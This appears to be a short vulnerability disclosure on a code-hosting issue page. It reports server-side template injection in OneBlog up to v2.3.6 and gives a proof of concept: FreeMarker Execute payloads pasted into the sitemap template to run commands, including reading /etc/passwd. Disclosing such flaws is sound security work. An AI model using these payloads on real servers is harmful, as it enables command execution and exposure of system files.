OneBlog <=v2.3.6 Template injection vulnerability exists

1. Reference the `spring-boot-starter-freemarker` component in the blog-core/pom.xml file.
![输入图片说明](https://foruda.gitee.com/images/1732182920847339087/7df61401_7848431.png "屏幕截图")

2. The vulnerability point is in the backend website management-template management department. Find the `TM_SITEMAP_HTML` file and write it into the POC.

```
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
<#assign value="freemarker.template.utility.Execute"?new()>${value("cat /etc/passwd")}
```

![`输入图片说明`](https://foruda.gitee.com/images/1732183051342141231/9c99ed6e_7848431.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1732183109549345781/575cc89a_7848431.png "屏幕截图")

3.After saving, visit the homepage to find the site map below and click to trigger. You can also directly access /sitemap.html to trigger the vulnerability.
![输入图片说明](https://foruda.gitee.com/images/1732183221430517767/de0f9016_7848431.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1732183286600648744/a0b97a1e_7848431.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1732183300194652880/ad38d648_7848431.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1732242013999054870/e5f78bcf_7848431.png "屏幕截图")

yadong.zhang/OneBlog

Content Risk Flag

Comments (0)

yadong.zhang/OneBlog .gitee-modal { width: 500px !important; }

Content Risk Flag